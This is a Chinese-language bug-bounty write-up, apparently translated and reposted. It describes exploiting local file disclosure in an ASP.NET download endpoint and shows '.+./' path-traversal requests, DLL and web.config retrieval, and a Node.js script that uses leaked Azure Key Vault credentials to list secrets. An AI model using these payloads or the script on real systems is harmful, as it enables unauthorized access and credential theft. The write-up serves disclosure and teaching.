挖洞经验 | 通过读取ASP.NET应用泄露的secrets获得bug赏金17000美刀

栏目: ASP.NET · 发布时间: 5年前

内容简介:ASP.NET应用程序中比较常见的漏洞有本地文件泄露(LDF)。如果读者之前未接触过ASP.NET开发,那么LFD对于你来说可能很困惑并且会没啥思路。因此在下面的文章中,我描述了最接近真实环境下LFD攻击的应用程序的利用过程。在最近的挖洞过程中,我遇到了以下这个url

ASP.NET应用程序中比较常见的漏洞有本地文件泄露(LDF)。如果读者之前未接触过ASP.NET开发,那么LFD对于你来说可能很困惑并且会没啥思路。因此在下面的文章中,我描述了最接近真实环境下LFD攻击的应用程序的利用过程。

确定漏洞点

在最近的挖洞过程中,我遇到了以下这个url

https://domain.com/utility/download.aspx?f=DJ/lc1jVgHTZF…

首先就觉得可以试试任意文件下载,访问后,在加载页面时,它会从服务器上的另一个路径下载帮助文档。但是它加密了,我没法篡改f的值,假设我能够找到密钥来解密参数(可能是AES加密),估计能尝试利用下LDF。

不过运气还不错,在网站的旧版本中找到了相同的下载点,如下:

https://domain.com/utility/download.aspx?f=file1234.docx

响应如下:

HTTP/1.1 200 OK
Connection: close
Content-Length: 27363
Ïó|uœZ^tÙ¢yǯ;!Y,}{ûCƒ³/h>

我立马就把参数改成download.aspx,竟然能返回apsx文件内容。

GET /utility/download.aspx?f=download.aspx
HTTP/1.1 200 OK
Connection: close
Content-Length: 263
<%@ Page Language="C#" AutoEventWireup="true" Debug="true" %>

经过测试,能访问aspx文件内容,但是实际的源码文件aspx.cs无法访问。

有关.aspx与.aspx.cs的区别可以参考 https://stackoverflow.com/questions/13182757/what-is-the-difference-between-aspx-and-aspx-cs

这个问题需要解决,不然无法后续进行利用。

我接着访问其他目录,看看有没有发现。

绕过目录访问限制

使用常规的../来遍历时,发现总是返回400 bad request,估计有过滤。

使用burp尝试下fuzz,看看能不能绕过。

可以手工进行测试,但为了节省时间就使用以下请求进行fuzz

GET /utility/download.aspx?f=.[fuzz]./utility/download.aspx

挖洞经验 | 通过读取ASP.NET应用泄露的secrets获得bug赏金17000美刀

查看返回的内容,发现使用字符+返回了正确的内容。

这里我很疑惑,本地搭建环境测试的使用我使用+进行fuzz没成功,大致猜想加号在url中代表空格,也许与Window的文件名有关。

进一步利用

既然绕过了限制,接着我尝试读取了下ashx文件,ashx文件是一种带HTML和C#的混合文件,猜测应该能读取。

读取成功

HTTP/1.1 200 OK
Connection: close
Content-Length: 2398
<%@ WebHandler Language="C#" Class="redacted.redacted" %>
Imports System
Imports System.Data
Imports System.Data.SqlClient
Imports System.IO
Imports System.Web
Imports System.Configuration
...

到这里已经能得到一些敏感信息了,接着想更深一步利用,所以我决定读取更多的源代码文件。

当对一种技术迷惑的时候,最好是去读它的官方文档,所以在阅读ASP.NET应用程序文档时发现编译类是保留/bin/className.dll中的。这意味着我们应该能够提取.ashx 文件中引用的类名。

通过发送以下请求,我能够下载到源文件的DLL(存储DLL https://blogs.msdn.microsoft.com/tom/2008/07/21/asp-net-tips-loading-a-dll-out-of-the-bin-directory/

GET /utility/download.aspx?f=.+./.+./bin/redacted.dll

下载后,使用dnSpy(C#反编译工具)导入DLL并恢复应用程序的源代码,之后可以下载更多的类文件来获取源代码。

挖洞经验 | 通过读取ASP.NET应用泄露的secrets获得bug赏金17000美刀

Azure密钥泄露证明造成严重影响

ASP.NET应用程序中敏感的文件有web.config,该文件本质上是一个配置文件,其中包含从单个页面到整个Web服务器的各种变量。文件里存在大量敏感信息,例如 SQL 数据库密码,比如上面我们看到的已加密参数的加密密钥,以及应用程序使用的内部接口。

下面是一个示例web.config文件。

<?xml version="1.0" encoding="utf-8"?>

<!--

For more information on how to configure your ASP.NET application, please visit

http://go.microsoft.com/fwlink/?LinkId=301880

-->

<configuration>

<appSettings>

<add key="webpages:Version" value="3.0.0.0" />

<add key="webpages:Enabled" value="false" />

<add key="ClientValidationEnabled" value="true" />

<add key="UnobtrusiveJavaScriptEnabled" value="true" />

<add key="PodioClientId" value="" />

<add key="PodioClientSecret" value="" />

<add key="AppId" value="" />

<add key="SpaceId" value="" />

</appSettings>

<connectionStrings>

<remove name="umbracoDbDSN" />

<add name="PodioAspnetSampleDb" connectionString="server=WSA07;database=PodioAspnetSampleDb;user id=sa;password=pass" providerName="System.Data.SqlClient" />

</connectionStrings>

<system.web>

<compilation debug="true" targetFramework="4.5" />

<httpRuntime targetFramework="4.5" />

</system.web>

</configuration>

发送以下请求后,我们获取到了web.config的内容。

GET /utility/download.aspx?f=.+./.+./web.config

其中响应中包含了许多secrets,最值得注意的是以下secrets的泄露。

...
<add key="keyVaultDataPlaneUri" value="redacted" />
<add key="uniqueKeyVaultNameUri" value="redacted" />
<add key="keyVaultClientId" value="redacted" />
<add key="keyVaultClientSecretIdentifier" value="redacted" />
<add key="keyVaultClientTenantName" value="redacted" />
<add key="keyVaultAuthenticationContextUri" value="redacted" />
<add key="keyVaultApiVersion" value="2016-10-01" />
...

利用这些密钥可以访问Azure Key Vault实例。而Azure Key Vault用来保存应用程序的secrets,会带有一些敏感信息。

现在的问题是如何正确发送请求来访问Azure Key Vault实例?在与朋友shubs讨论之后,他立马写出了一个Node.js脚本,使用公开的密钥成功访问了Azure Key Vault实例…哈哈

var KeyVault = require('azure-keyvault');
var AuthenticationContext = require('adal-node').AuthenticationContext;
var clientId = "clientId";
var clientSecret = "clientSecret";
var vaultUri = "vaultUri";
// Authenticator - retrieves the access token
var authenticator = function (challenge, callback) {
  // Create a new authentication context.
  var context = new AuthenticationContext(challenge.authorization);
  // Use the context to acquire an authentication token.
  return context.acquireTokenWithClientCredentials(challenge.resource, clientId, clientSecret, function (err, tokenResponse) {
    if (err) throw err;
    // Calculate the value to be set in the request's Authorization header and resume the call.
    var authorizationValue = tokenResponse.tokenType + ' ' + tokenResponse.accessToken;
    console.log(authorizationValue);
    return callback(null, authorizationValue);
  });
};
var credentials = new KeyVault.KeyVaultCredentials(authenticator);
var client = new KeyVault.KeyVaultClient(credentials);
client.getSecrets(vaultUri).then(function(value) {
    console.log(value);
});

响应如下:

{ id:

{ id:

' https://redacted.vault.azure.net/secrets/ftp_credentials ',

attributes:

{ enabled: true,

created: 2018-01-23T22:14:18.000Z,

updated: 2018-01-23T22:14:18.000Z,

recoveryLevel: 'Purgeable' },

contentType: 'secret' } ]

... more secrets ...

本次漏洞利用完成,最终获取的secrets足以让我控制系统来证明危害程度,所以可以提交报告了。

总结

ASP.NET无法访问源文件?可以尝试访问下/bin/className.dll。

想获取到更多敏感信息?记得读取web.config文件。

开发人员需要将 ASP.NET 应用程序安全性提升才能防止黑客攻击,如果能破解每个请求中发送的token,应该也能发现更多的安全问题(XSS、身份验证绕过、 shell 上传、LFD和LFI等)。

时间线

提交——2018年9月25日

审核——2018年9月27日

发放奖励17000美元——2018年9月29日

*参考来源: Samcurry ,由生如夏花编译,转载请注明来自FreeBuf.COM


以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

从零到百亿

从零到百亿

〔美〕卡罗·白朗、Karel Baloun、卡罗·白朗 / 译言网 / 中国书籍出版社 / 2007 / 15.00元

Facebook是一个发源于哈佛大学、为全美大学生服务的社交网站。按照流量,这个网站在世界范围排名第8名;按照价值,业界对Facebook公司的估值超过10亿美元。Facebook创建于2004年2月,这样的高速增长成为当今互联网发展的一个奇迹。 《Inside Facebook》这本书是原作者卡罗·白朗(Karel Baloun)作为Facebook的第一位高级软件开发人员之一,在Face......一起来看看 《从零到百亿》 这本书的介绍吧!

JSON 在线解析
JSON 在线解析

在线 JSON 格式化工具

HTML 编码/解码
HTML 编码/解码

HTML 编码/解码